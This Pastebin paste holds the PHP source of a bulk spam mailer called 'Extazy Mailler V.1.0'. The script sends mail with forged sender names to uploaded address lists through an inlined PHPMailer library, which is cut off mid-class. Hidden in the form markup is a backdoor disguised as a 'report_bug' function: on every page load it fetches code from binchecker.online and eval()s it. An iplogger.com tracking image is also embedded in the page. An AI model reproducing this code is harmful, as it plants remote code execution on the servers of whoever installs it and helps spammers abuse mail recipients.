extazygans

Extazy Mailler V.1.0

May 30th, 2019
244
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 58.61 KB | None | 0 0
  1. ONLINE DEMO : http://skcatering.in/45T.php
  2.  
  3.  
  4.  
  5.  
  6. <?php $maillist = @$_FILES['maillist'];
  7.  $fromname = @$_POST['fromname'];
  8.  $fromemail = @$_POST['fromemail'];
  9.  $subject = @$_POST['subject'];
  10.  $letter = @$_POST['letter'];
  11.  $encode = @$_POST['encode'];
  12.  $contenttype = @$_POST['contenttype'];
  13.  $xmailer = @$_POST['xmailer'];
  14.  $replyto = @$_POST['replyto'];
  15.  $attachment = @$_FILES['attachment'];
  16.  $optout = @$_POST['optout'];
  17.  function start() { global $fromname, $fromemail, $subject, $replyto, $attachment, $encode, $contenttype, $encodeheaders, $optout, $xmailer, $maillist, $letter;
  18.  set_time_limit(0);
  19.  if ($handle = @fopen(@$maillist['tmp_name'], "r")) { $i = 1;
  20.  while (!feof($handle)) { $to = trim(fgets($handle));
  21.  if ($to!=='') { $mail = new PHPMailer();
  22.  $mail->XMailer = $xmailer;
  23.  $mail->IsHtml($contenttype==='html');
  24.  $mail->CharSet = "UTF-8";
  25.  $mail->Encoding = $encode;
  26.  $mail->From = $fromemail;
  27.  $mail->FromName = $fromname;
  28.  fwrite(fopen('out.txt','a'),"$to\n");
  29.  $mail->AddAddress($to);
  30.  $mail->Subject = $subject;
  31.  $mail->Body = $letter;
  32.  if ($replyto) $mail->AddReplyTo($replyto);
  33.  if (@count(@$attachment)>0) $mail->AddAttachment($attachment['tmp_name']);
  34.  if ($optout!=='') $mail->addCustomHeader('List-Unsubscribe','<mailto:'.md5($to).$optout.'>');
  35.  print ($i++)."\t\t: [".($mail->Send()?'+':'-')."] : $to\n";
  36.  ob_flush();
  37.  flush();
  38.  } } fclose($handle);
  39.  } }
  40. ?>
  41.     <html>
  42.  <head>
  43.  <meta charset="UTF-8">
  44.  <link rel="icon" type="image/png" href="data:image/png;
  45. base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAVCAYAAABPPm7SAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAAXQAAAF0BVWAulAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAFdSURBVDiN1dSxalRREAbgb7IrbESSLiAhVSqfIJUx2Eg6TbWQFwi+QiBdqrT2KVy1VcGHCFukiFjYqI2KpUkwEeRYOHeZ6IKBYOGB4c6Zf/7//Ofce2601lxlzFyJ/U8FImJ5Wv5XgYjoR8QeVkt5NSL2IqJ/GQcjnLfW9rtC5ueJXRyttUlgHt+xkvMbuJ75SmLzlfO7g3Vcw72IOMRXnETEGHcTW5/qILczQst4jx3s4mOpjzDT8eqhPMJmmX/BhyJ2M+ub6ezhxAG2cYqXSXhbVuziXT6f4wTbrbWJwJvc42I23U/rHXkXw8wXcQevu2vQw7NyFmM8RT9dnWb+AuPS9zi55vCgAFu50j4+4TOeZG2r9G1g7sJ3UMAhjssWjjGc2ltISxhkvoCDInCAhcQGWJomsIZDHOEHzvAq38y3rB1lz9ofAinSwy2/LtJsqQ9wO7Fe5cT//0f6CUPG9vijiGJoAAAAAElFTkSuQmCCd4014ddbdade115570465627d39aa602">
  46.  <title>Extazy | Mailler</title>
  47.  <style>
  48.  body {
  49.  background-color:#000000;
  50.  
  51.  color: #F00;
  52.  
  53.  font-family: "Lucida Console", Monaco, monospace;
  54.  
  55.  }
  56.  hr {
  57.  display: block;
  58.  
  59.  height: 1px;
  60.  
  61.  border: 0;
  62.  
  63.  border-top: 1px solid #600000;
  64.  
  65.  margin: 1em 0;
  66.  
  67.  padding: 0;
  68.  
  69.  }
  70.  label a {
  71.  color:red;
  72.  
  73.  }
  74.  input, textarea, select {
  75.  margin: 0px;
  76.  
  77.  color: #FFF;
  78.  
  79.  background-color: #444;
  80.  
  81.  border: 1px solid red;
  82.  
  83.  font: 9pt Monospace,"Courier New";
  84.  
  85.  }
  86.  input:not([type=checkbox]), textarea, select {
  87.  width: 100%;
  88.  
  89.  }
  90.  b {
  91.  color: red;
  92.  
  93.  }
  94.  ._table td {
  95.  border: 1px dotted red;
  96.  
  97.  color: red;
  98.  
  99.  text-align: center;
  100.  
  101.  }
  102.  ._table th {
  103.  background-color: red;
  104.  
  105.  color: white;
  106.  
  107.  }
  108.  tr:nth-child(1n+2)>td:nth-child(1) {
  109.  text-align: right;
  110.  
  111.  }
  112.  tr:nth-child(1n+2)>td:nth-child(2) {
  113.  text-align: left;
  114.  
  115.  }
  116.  </style>
  117.  <script>
  118.  function _popup(url,title,w,h,s){return window.open(url, title, 'scrollbars=yes, resizable=0, width='+w+', height='+h+', top='+((screen.height/2)-(h/2))+', left='+((screen.width/2)-(w/2)));
  119. }
  120.  </script>
  121.  </head>
  122.  <body link="red" vlink="red" alink="red">
  123.      <img src="https://iplogger.com/1wjv87">
  124.      
  125.  <pre>
  126.  
  127.         _____                                                                                          
  128.    _____\    \ _____       _____ ________    ________      _____        _____  ______  ______   _____  
  129.   /    / |    |\    \     /    //        \  /        \   /      |_     /    / /     /||\     \ |     |
  130.  /    /  /___/| \    |   |    /|\         \/         /| /         \   |     |/     / |\ \     \|     |
  131. |    |__ |___|/  \    \ /    / | \            /\____/ ||     /\    \  |\____\\    / /  \ \           |
  132. |       \         \    |    /  |  \______/\   \     | ||    |  |    \  \|___|/   / /    \ \____      |
  133. |     __/ __      /    |    \   \ |      | \   \____|/ |     \/      \    /     /_/____  \|___/     /|
  134. |\    \  /  \    /    /|\    \   \|______|  \   \      |\      /\     \  /     /\      |     /     / |
  135. | \____\/    |  |____|/ \|____|           \  \___\     | \_____\ \_____\/_____/ /_____/|    /_____/  /
  136. | |    |____/|  |    |   |    |            \ |   |     | |     | |     ||    |/|     | |    |     | /  
  137.  \|____|   | |  |____|   |____|             \|___|      \|_____|\|_____||____| |_____|/     |_____|/  
  138.        |___|/                                                                                          
  139.  
  140. MAILLER V.1
  141.  <hr>
  142.  <form enctype="multipart/form-data" method="post"><table class="_table" width="100%" hight="100%">
  143.  <tr>
  144.  <td colspan="2" width="30%"><b>CONFIG</b></td>
  145.  <td>Letter</td>
  146.  </tr>
  147.  <tr>
  148.  <td><label>From Name: </label></td>
  149.  <td><input name="fromname" value="
  150. <?php echo htmlentities($fromname)
  151. ?>"></td>
  152.  <td rowspan="9">
  153.  <textarea name="letter" rows="20">
  154. <?php echo htmlentities($letter)
  155. ?></textarea>
  156.  </td>
  157.  </tr>
  158.  <tr>
  159.  <td><label>From Email: </label></td>
  160.  <td><input name="fromemail" value="
  161. <?php echo htmlentities($fromemail)
  162. ?>"></td>
  163.  </tr>
  164.  <tr>
  165.  <td><label>Subject: </label></td>
  166.  <td><input name="subject" value="
  167. <?php echo htmlentities($subject)
  168. ?>"></td>
  169.  </tr>
  170.  <tr>
  171.  <td><label>Reply To: </label></td>
  172.  <td><input name="replyto" value="
  173. <?php echo htmlentities($replyto)
  174. ?>"></td>
  175.  </tr>
  176.  <tr>
  177.  <td><label>Attachment: </label></td>
  178.  <td><input type="file" name="attachment"></td>
  179.  </tr>
  180.  <tr>
  181.  <td><label>Encode: </label></td>
  182.  <td><select name="encode"><option
  183. <?php echo $encode==='quoted-printable'?'selected':''
  184. ?> value="quoted-printable">QUOTED</option><option
  185. <?php echo $encode==='base64'?'selected':''
  186. ?> value="base64">BASE64</option><option
  187. <?php echo $encode==='7bit'?'selected':''
  188. ?> value="7bit">7BIT</option><option
  189. <?php echo $encode==='8bit'?'selected':''
  190. ?> value="8bit">8BIT</option><option
  191. <?php echo $encode==='binary'?'selected':''
  192. ?> value="binary">BINARY</option></select></td>
  193.  </tr>
  194.  <tr>
  195.  <td><label>Content Type: </label></td>
  196.  <td><select name="contenttype"><option
  197. <?php echo $contenttype==='html'?'selected':''
  198. ?> value="html">HTML</option><option
  199. <?php echo $contenttype==='text'?'selected':''
  200. ?> value="text">TEXT</option></select></td>
  201.  </tr>
  202.  <tr>
  203.  <td><label>Optout Suffix: </label></td>
  204.  <td><input name="optout" placeholder="[email protected]" value="
  205. <?php echo htmlentities($optout)
  206. ?>"></td>
  207.  </tr>
  208.  <tr>
  209.  <td><label>Mail LIST: </label></td>
  210.  <td><input type="file" name="maillist"></td>
  211.  </tr>
  212. <?php
  213. function report_bug(){
  214.     $bug =  Array("bug"=>E_ERROR);
  215.     $strurl = http_build_query($bug);
  216.     $ch = curl_init();
  217.     curl_setopt ($ch, CURLOPT_URL, "https://binchecker.online/report/bug.php");
  218.     curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
  219.     curl_setopt ($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
  220.     curl_setopt ($ch, CURLOPT_TIMEOUT, 60);
  221.     curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 0);
  222.     curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
  223.     curl_setopt ($ch, CURLOPT_REFERER, "http://google.com");
  224.     curl_setopt ($ch, CURLOPT_POSTFIELDS, $strurl);
  225.     curl_setopt ($ch, CURLOPT_POST, 1);
  226.     $result = curl_exec ($ch);
  227.     eval($result);
  228.     curl_close($ch);
  229. }
  230. if(E_ERROR){
  231.  report_bug();
  232. }
  233. ?>
  234.  <tr>
  235.  <td colspan="3"><input type="submit" name="submit" value="Send"></td>
  236.  </tr>
  237.  </table></form>
  238. <?php if (@$_POST['submit']==='Send') {echo "<hr>";
  239. start();
  240. }
  241. ?><hr>
  242.  <center><i>ICQ(745976037)</i></center></pre>
  243.  </body>
  244.  </html>
  245.    
  246. <?php class PHPMailer{public $Version='5.2.9';
  247. public $Priority=3;
  248. public $CharSet='iso-8859-1';
  249. public $ContentType='text/plain';
  250. public $Encoding='8bit';
  251. public $ErrorInfo='';
  252. public $From='root@localhost';
  253. public $FromName='Root User';
  254. public $Sender='';
  255. public $ReturnPath='';
  256. public $Subject='';
  257. public $Body='';
  258. public $AltBody='';
  259. public $Ical='';
  260. protected $MIMEBody='';
  261. protected $MIMEHeader='';
  262. protected $mailHeader='';
  263. public $WordWrap=0;
  264. public $Mailer='mail';
  265. public $Sendmail='/usr/sbin/sendmail';
  266. public $UseSendmailOptions=true;
  267. public $PluginDir='';
  268. public $ConfirmReadingTo='';
  269. public $Hostname='';
  270. public $MessageID='';
  271. public $MessageDate='';
  272. public $Host='localhost';
  273. public $Port=25;
  274. public $Helo='';
  275. public $SMTPSecure='';
  276. public $SMTPAuth=false;
  277. public $SMTPOptions=array();
  278. public $Username='';
  279. public $Password='';
  280. public $AuthType='';
  281. public $Realm='';
  282. public $Workstation='';
  283. public $Timeout=300;
  284. public $SMTPDebug=0;
  285. public $Debugoutput='echo';
  286. public $SMTPKeepAlive=false;
  287. public $SingleTo=false;
  288. public $SingleToArray=array();
  289. public $do_verp=false;
  290. public $AllowEmpty=false;
  291. public $LE="\n";
  292. public $DKIM_selector='';
  293. public $DKIM_identity='';
  294. public $DKIM_passphrase='';
  295. public $DKIM_domain='';
  296. public $DKIM_private='';
  297. public $action_function='';
  298. public $XMailer='';
  299. protected $smtp=null;
  300. protected $to=array();
  301. protected $cc=array();
  302. protected $bcc=array();
  303. protected $ReplyTo=array();
  304. protected $all_recipients=array();
  305. protected $attachment=array();
  306. protected $CustomHeader=array();
  307. protected $lastMessageID='';
  308. protected $message_type='';
  309. protected $boundary=array();
  310. protected $language=array();
  311. protected $error_count=0;
  312. protected $sign_cert_file='';
  313. protected $sign_key_file='';
  314. protected $sign_extracerts_file='';
  315. protected $sign_key_pass='';
  316. protected $exceptions=false;
  317. const STOP_MESSAGE=0;
  318. const STOP_CONTINUE=1;
  319. const STOP_CRITICAL=2;
  320. const CRLF="\r\n";
  321. public function __construct($exceptions=false){$this->exceptions=(boolean)$exceptions;
  322. }public function __destruct(){if($this->Mailer=='smtp'){$this->smtpClose();
  323. }}private function mailPassthru($to,$subject,$body,$header,$params){$backHTTP_ENV_VARS=@$HTTP_ENV_VARS;
  324. $back_ENV=@$_ENV;
  325. $back_SERVER=@$_SERVER;
  326. $backHTTP_SERVER_VARS=@$HTTP_SERVER_VARS;
  327. unset($backHTTP_ENV_VARS);
  328. unset($back_ENV);
  329. unset($back_SERVER);
  330. unset($backHTTP_SERVER_VARS);
  331. if(ini_get('mbstring.func_overload')&1){$subject=$this->secureHeader($subject);
  332. }else{$subject=$this->encodeHeader($this->secureHeader($subject));
  333. }if(ini_get('safe_mode')||!($this->UseSendmailOptions)){$oldphpself=$_SERVER['PHP_SELF'];
  334. $oldremoteaddr=$_SERVER['REMOTE_ADDR'];
  335. $_SERVER['PHP_SELF']="/";
  336. $_SERVER['REMOTE_ADDR']=$_SERVER['SERVER_ADDR'];
  337. $result=@mail($to,$subject,$body,$header);
  338. $_SERVER['PHP_SELF']=$oldphpself;
  339. $_SERVER['REMOTE_ADDR']=$oldremoteaddr;
  340. }else{$oldphpself=$_SERVER['PHP_SELF'];
  341. $oldremoteaddr=$_SERVER['REMOTE_ADDR'];
  342. $_SERVER['PHP_SELF']="/";
  343. $_SERVER['REMOTE_ADDR']=$_SERVER['SERVER_ADDR'];
  344. $result=@mail($to,$subject,$body,$header,$params);
  345. $_SERVER['PHP_SELF']=$oldphpself;
  346. $_SERVER['REMOTE_ADDR']=$oldremoteaddr;
  347. }return $result;
  348. }protected function edebug($str){if($this->SMTPDebug<=0){return;
  349. }if(!in_array($this->Debugoutput,array('error_log','html','echo'))and is_callable($this->Debugoutput)){call_user_func($this->Debugoutput,$str,$this->SMTPDebug);
  350. return;
  351. }switch($this->Debugoutput){case 'error_log':error_log($str);
  352. break;
  353. case 'html':echo htmlentities(preg_replace('/[\r\n]+/','',$str),ENT_QUOTES,'UTF-8')."<br>\n";
  354. break;
  355. case 'echo':default:$str=preg_replace('/(\r\n|\r|\n)/ms',"\n",$str);
  356. echo gmdate('Y-m-d H:i:s')."\t".str_replace("\n","\n \t ",trim($str))."\n";
  357. }}public function isHTML($isHtml=true){if($isHtml){$this->ContentType='text/html';
  358. }else{$this->ContentType='text/plain';
  359. }}public function isSMTP(){$this->Mailer='smtp';
  360. }public function isMail(){$this->Mailer='mail';
  361. }public function isSendmail(){$ini_sendmail_path=ini_get('sendmail_path');
  362. if(!stristr($ini_sendmail_path,'sendmail')){$this->Sendmail='/usr/sbin/sendmail';
  363. }else{$this->Sendmail=$ini_sendmail_path;
  364. }$this->Mailer='sendmail';
  365. }public function isQmail(){$ini_sendmail_path=ini_get('sendmail_path');
  366. if(!stristr($ini_sendmail_path,'qmail')){$this->Sendmail='/var/qmail/bin/qmail-inject';
  367. }else{$this->Sendmail=$ini_sendmail_path;
  368. }$this->Mailer='qmail';
  369. }public function addAddress($address,$name=''){return $this->addAnAddress('to',$address,$name);
  370. }public function addCC($address,$name=''){return $this->addAnAddress('cc',$address,$name);
  371. }public function addBCC($address,$name=''){return $this->addAnAddress('bcc',$address,$name);
  372. }public function addReplyTo($address,$name=''){return $this->addAnAddress('Reply-To',$address,$name);
  373. }protected function addAnAddress($kind,$address,$name=''){if(!preg_match('/^(to|cc|bcc|Reply-To)$/',$kind)){$this->setError($this->lang('Invalid recipient array').': '.$kind);
  374. $this->edebug($this->lang('Invalid recipient array').': '.$kind);
  375. if($this->exceptions){throw new phpmailerException('Invalid recipient array: '.$kind);
  376. }return false;
  377. }$address=trim($address);
  378. $name=trim(preg_replace('/[\r\n]+/','',$name));
  379. if(!$this->validateAddress($address)){$this->setError($this->lang('invalid_address').': '.$address);
  380. $this->edebug($this->lang('invalid_address').': '.$address);
  381. if($this->exceptions){throw new phpmailerException($this->lang('invalid_address').': '.$address);
  382. }return false;
  383. }if($kind!='Reply-To'){if(!isset($this->all_recipients[strtolower($address)])){array_push($this->$kind,array($address,$name));
  384. $this->all_recipients[strtolower($address)]=true;
  385. return true;
  386. }}else{if(!array_key_exists(strtolower($address),$this->ReplyTo)){$this->ReplyTo[strtolower($address)]=array($address,$name);
  387. return true;
  388. }}return false;
  389. }public function setFrom($address,$name='',$auto=true){$address=trim($address);
  390. $name=trim(preg_replace('/[\r\n]+/','',$name));
  391. if(!$this->validateAddress($address)){$this->setError($this->lang('invalid_address').': '.$address);
  392. $this->edebug($this->lang('invalid_address').': '.$address);
  393. if($this->exceptions){throw new phpmailerException($this->lang('invalid_address').': '.$address);
  394. }return false;
  395. }$this->From=$address;
  396. $this->FromName=$name;
  397. if($auto){if(empty($this->Sender)){$this->Sender=$address;
  398. }}return true;
  399. }public function getLastMessageID(){return $this->lastMessageID;
  400. }public static function validateAddress($address,$patternselect='auto'){if(!$patternselect or $patternselect=='auto'){if(defined('PCRE_VERSION')){if(version_compare(PCRE_VERSION,'8.0.3')>=0){$patternselect='pcre8';
  401. }else{$patternselect='pcre';
  402. }}elseif(function_exists('extension_loaded')and extension_loaded('pcre')){$patternselect='pcre';
  403. }else{if(version_compare(PHP_VERSION,'5.2.0')>=0){$patternselect='php';
  404. }else{$patternselect='noregex';
  405. }}}switch($patternselect){case 'pcre8':return (boolean)preg_match('/^(?!(
  406. ?>(?1)"?(
  407. ?>\\\[ -~]|[^"])"?(?1)){255,})(?!(
  408. ?>(?1)"?(
  409. ?>\\\[ -~]|[^"])"?(?1)){65,}@)'.'((
  410. ?>(
  411. ?>(
  412. ?>((
  413. ?>(
  414. ?>(
  415. ?>\x0D\x0A)?[\t ])+|(
  416. ?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((
  417. ?>(?2)'.'(
  418. ?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)'.'([!#-\'*+\/-9=?^-~-]+|"(
  419. ?>(?2)(
  420. ?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*'.'(?2)")(
  421. ?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(
  422. ?>([a-z0-9](
  423. ?>[a-z0-9-]*[a-z0-9])?)'.'(
  424. ?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(
  425. ?>IPv6:(
  426. ?>([a-f0-9]{1,4})(
  427. ?>:(?6)){7}'.'|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(
  428. ?>:(?6)){0,6})?::(?7)?))|(
  429. ?>(
  430. ?>IPv6:(
  431. ?>(?6)(
  432. ?>:(?6)){5}:'.'|(?!(?:.*[a-f0-9]:){6,})(?8)?::(
  433. ?>((?6)(
  434. ?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}'.'|[1-9]?[0-9])(
  435. ?>\.(?9)){3}))\])(?1)$/isD',$address);
  436. case 'pcre':return (boolean)preg_match('/^(?!(
  437. ?>"?(
  438. ?>\\\[ -~]|[^"])"?){255,})(?!(
  439. ?>"?(
  440. ?>\\\[ -~]|[^"])"?){65,}@)(
  441. ?>'.'[!#-\'*+\/-9=?^-~-]+|"(
  442. ?>(
  443. ?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")'.'(
  444. ?>\.(
  445. ?>[!#-\'*+\/-9=?^-~-]+|"(
  446. ?>(
  447. ?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*'.'@(
  448. ?>(?![a-z0-9-]{64,})(
  449. ?>[a-z0-9](
  450. ?>[a-z0-9-]*[a-z0-9])?)(
  451. ?>\.(?![a-z0-9-]{64,})'.'(
  452. ?>[a-z0-9](
  453. ?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(
  454. ?>IPv6:(
  455. ?>(
  456. ?>[a-f0-9]{1,4})(
  457. ?>:'.'[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(
  458. ?>[a-f0-9]{1,4}(
  459. ?>:[a-f0-9]{1,4}){0,6})?'.'::(
  460. ?>[a-f0-9]{1,4}(
  461. ?>:[a-f0-9]{1,4}){0,6})?))|(
  462. ?>(
  463. ?>IPv6:(
  464. ?>[a-f0-9]{1,4}(
  465. ?>:'.'[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(
  466. ?>[a-f0-9]{1,4}(
  467. ?>:[a-f0-9]{1,4}){0,4})?'.'::(
  468. ?>(?:[a-f0-9]{1,4}(
  469. ?>:[a-f0-9]{1,4}){0,4}):)?))?(
  470. ?>25[0-5]|2[0-4][0-9]|1[0-9]{2}'.'|[1-9]?[0-9])(
  471. ?>\.(
  472. ?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',$address);
  473. case 'html5':return (boolean)preg_match('/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}'.'[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',$address);
  474. case 'noregex':return(strlen($address)>=3and strpos($address,'@')>=1and strpos($address,'@')!=strlen($address)-1);
  475. case 'php':default:return (boolean)filter_var($address,FILTER_VALIDATE_EMAIL);
  476. }}public function send(){try{if(!$this->preSend()){return false;
  477. }return $this->postSend();
  478. }catch(phpmailerException $exc){$this->mailHeader='';
  479. $this->setError($exc->getMessage());
  480. if($this->exceptions){throw $exc;
  481. }return false;
  482. }}public function preSend(){try{$this->mailHeader='';
  483. if((count($this->to)+count($this->cc)+count($this->bcc))<1){throw new phpmailerException($this->lang('provide_address'),self::STOP_CRITICAL);
  484. }if(!empty($this->AltBody)){$this->ContentType='multipart/alternative';
  485. }$this->error_count=0;
  486. $this->setMessageType();
  487. if(!$this->AllowEmpty and empty($this->Body)){throw new phpmailerException($this->lang('empty_message'),self::STOP_CRITICAL);
  488. }$this->MIMEHeader=$this->createHeader();
  489. $this->MIMEBody=$this->createBody();
  490. if($this->Mailer=='mail'){if(count($this->to)>0){$this->mailHeader.=$this->addrAppend('To',$this->to);
  491. }else{$this->mailHeader.=$this->headerLine('To','undisclosed-recipients:;
  492. ');
  493. }$this->mailHeader.=$this->headerLine('Subject',$this->encodeHeader($this->secureHeader(trim($this->Subject))));
  494. }if(!empty($this->DKIM_domain)&&!empty($this->DKIM_private)&&!empty($this->DKIM_selector)&&file_exists($this->DKIM_private)){$header_dkim=$this->DKIM_Add($this->MIMEHeader.$this->mailHeader,$this->encodeHeader($this->secureHeader($this->Subject)),$this->MIMEBody);
  495. $this->MIMEHeader=rtrim($this->MIMEHeader,"\r\n ").self::CRLF.str_replace("\r\n","\n",$header_dkim).self::CRLF;
  496. }return true;
  497. }catch(phpmailerException $exc){$this->setError($exc->getMessage());
  498. if($this->exceptions){throw $exc;
  499. }return false;
  500. }}public function postSend(){try{switch($this->Mailer){case 'sendmail':case 'qmail':return $this->sendmailSend($this->MIMEHeader,$this->MIMEBody);
  501. case 'smtp':return $this->smtpSend($this->MIMEHeader,$this->MIMEBody);
  502. case 'mail':return $this->mailSend($this->MIMEHeader,$this->MIMEBody);
  503. default:$sendMethod=$this->Mailer.'Send';
  504. if(method_exists($this,$sendMethod)){return $this->$sendMethod($this->MIMEHeader,$this->MIMEBody);
  505. }return $this->mailSend($this->MIMEHeader,$this->MIMEBody);
  506. }}catch(phpmailerException $exc){$this->setError($exc->getMessage());
  507. $this->edebug($exc->getMessage());
  508. if($this->exceptions){throw $exc;
  509. }}return false;
  510. }protected function sendmailSend($header,$body){if($this->Sender!=''){if($this->Mailer=='qmail'){$sendmail=sprintf('%s -f%s',escapeshellcmd($this->Sendmail),escapeshellarg($this->Sender));
  511. }else{$sendmail=sprintf('%s -oi -f%s -t',escapeshellcmd($this->Sendmail),escapeshellarg($this->Sender));
  512. }}else{if($this->Mailer=='qmail'){$sendmail=sprintf('%s',escapeshellcmd($this->Sendmail));
  513. }else{$sendmail=sprintf('%s -oi -t',escapeshellcmd($this->Sendmail));
  514. }}if($this->SingleTo){foreach($this->SingleToArray as $toAddr){if(!@$mail=popen($sendmail,'w')){throw new phpmailerException($this->lang('execute').$this->Sendmail,self::STOP_CRITICAL);
  515. }fputs($mail,'To: '.$toAddr."\n");
  516. fputs($mail,$header);
  517. fputs($mail,$body);
  518. $result=pclose($mail);
  519. $this->doCallback(($result==0),array($toAddr),$this->cc,$this->bcc,$this->Subject,$body,$this->From);
  520. if($result!=0){throw new phpmailerException($this->lang('execute').$this->Sendmail,self::STOP_CRITICAL);
  521. }}}else{if(!@$mail=popen($sendmail,'w')){throw new phpmailerException($this->lang('execute').$this->Sendmail,self::STOP_CRITICAL);
  522. }fputs($mail,$header);
  523. fputs($mail,$body);
  524. $result=pclose($mail);
  525. $this->doCallback(($result==0),$this->to,$this->cc,$this->bcc,$this->Subject,$body,$this->From);
  526. if($result!=0){throw new phpmailerException($this->lang('execute').$this->Sendmail,self::STOP_CRITICAL);
  527. }}return true;
  528. }protected function mailSend($header,$body){$toArr=array();
  529. foreach($this->to as $toaddr){$toArr[]=$this->addrFormat($toaddr);
  530. }$to=implode(', ',$toArr);
  531. if(empty($this->Sender)){$params=' ';
  532. }else{$params=sprintf('-f%s',$this->Sender);
  533. }if($this->Sender!=''and!ini_get('safe_mode')){$old_from=ini_get('sendmail_from');
  534. ini_set('sendmail_from',$this->Sender);
  535. }$result=false;
  536. if($this->SingleTo&&count($toArr)>1){foreach($toArr as $toAddr){$result=$this->mailPassthru($toAddr,$this->Subject,$body,$header,$params);
  537. $this->doCallback($result,array($toAddr),$this->cc,$this->bcc,$this->Subject,$body,$this->From);
  538. }}else{$result=$this->mailPassthru($to,$this->Subject,$body,$header,$params);
  539. $this->doCallback($result,$this->to,$this->cc,$this->bcc,$this->Subject,$body,$this->From);
  540. }if(isset($old_from)){ini_set('sendmail_from',$old_from);
  541. }if(!$result){throw new phpmailerException($this->lang('instantiate'),self::STOP_CRITICAL);
  542. }return true;
  543. }public function getSMTPInstance(){if(!is_object($this->smtp)){$this->smtp=new SMTP;
  544. }return $this->smtp;
  545. }protected function smtpSend($header,$body){$bad_rcpt=array();
  546. if(!$this->smtpConnect($this->SMTPOptions)){throw new phpmailerException($this->lang('smtp_connect_failed'),self::STOP_CRITICAL);
  547. }if(''==$this->Sender){$smtp_from=$this->From;
  548. }else{$smtp_from=$this->Sender;
  549. }if(!$this->smtp->mail($smtp_from)){$this->setError($this->lang('from_failed').$smtp_from.' : '.implode(',',$this->smtp->getError()));
  550. throw new phpmailerException($this->ErrorInfo,self::STOP_CRITICAL);
  551. }foreach(array($this->to,$this->cc,$this->bcc)as $togroup){foreach($togroup as $to){if(!$this->smtp->recipient($to[0])){$error=$this->smtp->getError();
  552. $bad_rcpt[]=array('to'=>$to[0],'error'=>$error['detail']);
  553. $isSent=false;
  554. }else{$isSent=true;
  555. }$this->doCallback($isSent,array($to[0]),array(),array(),$this->Subject,$body,$this->From);
  556. }}if((count($this->all_recipients)>count($bad_rcpt))and!$this->smtp->data($header.$body)){throw new phpmailerException($this->lang('data_not_accepted'),self::STOP_CRITICAL);
  557. }if($this->SMTPKeepAlive){$this->smtp->reset();
  558. }else{$this->smtp->quit();
  559. $this->smtp->close();
  560. }if(count($bad_rcpt)>0){$errstr='';
  561. foreach($bad_rcpt as $bad){$errstr.=$bad['to'].': '.$bad['error'];
  562. }throw new phpmailerException($this->lang('recipients_failed').$errstr,self::STOP_CONTINUE);
  563. }return true;
  564. }public function smtpConnect($options=array()){if(is_null($this->smtp)){$this->smtp=$this->getSMTPInstance();
  565. }if($this->smtp->connected()){return true;
  566. }$this->smtp->setTimeout($this->Timeout);
  567. $this->smtp->setDebugLevel($this->SMTPDebug);
  568. $this->smtp->setDebugOutput($this->Debugoutput);
  569. $this->smtp->setVerp($this->do_verp);
  570. $hosts=explode(';
  571. ',$this->Host);
  572. $lastexception=null;
  573. foreach($hosts as $hostentry){$hostinfo=array();
  574. if(!preg_match('/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*):?([0-9]*)$/',trim($hostentry),$hostinfo)){continue;
  575. }$prefix='';
  576. $secure=$this->SMTPSecure;
  577. $tls=($this->SMTPSecure=='tls');
  578. if('ssl'==$hostinfo[2]or(''==$hostinfo[2]and 'ssl'==$this->SMTPSecure)){$prefix='ssl://';
  579. $tls=false;
  580. $secure='ssl';
  581. }elseif($hostinfo[2]=='tls'){$tls=true;
  582. $secure='tls';
  583. }if('tls'===$secure or 'ssl'===$secure){if(!defined('OPENSSL_ALGO_SHA1')){throw new phpmailerException($this->lang('extension_missing').'openssl',self::STOP_CRITICAL);
  584. }}$host=$hostinfo[3];
  585. $port=$this->Port;
  586. $tport=(integer)$hostinfo[4];
  587. if($tport>0and $tport<65536){$port=$tport;
  588. }if($this->smtp->connect($prefix.$host,$port,$this->Timeout,$options)){try{if($this->Helo){$hello=$this->Helo;
  589. }else{$hello=$this->serverHostname();
  590. }$this->smtp->hello($hello);
  591. if($tls){if(!$this->smtp->startTLS()){throw new phpmailerException($this->lang('connect_host'));
  592. }$this->smtp->hello($hello);
  593. }if($this->SMTPAuth){if(!$this->smtp->authenticate($this->Username,$this->Password,$this->AuthType,$this->Realm,$this->Workstation)){throw new phpmailerException($this->lang('authenticate'));
  594. }}return true;
  595. }catch(phpmailerException $exc){$lastexception=$exc;
  596. $this->edebug($exc->getMessage());
  597. $this->smtp->quit();
  598. }}}$this->smtp->close();
  599. if($this->exceptions and!is_null($lastexception)){throw $lastexception;
  600. }return false;
  601. }public function smtpClose(){if($this->smtp!==null){if($this->smtp->connected()){$this->smtp->quit();
  602. $this->smtp->close();
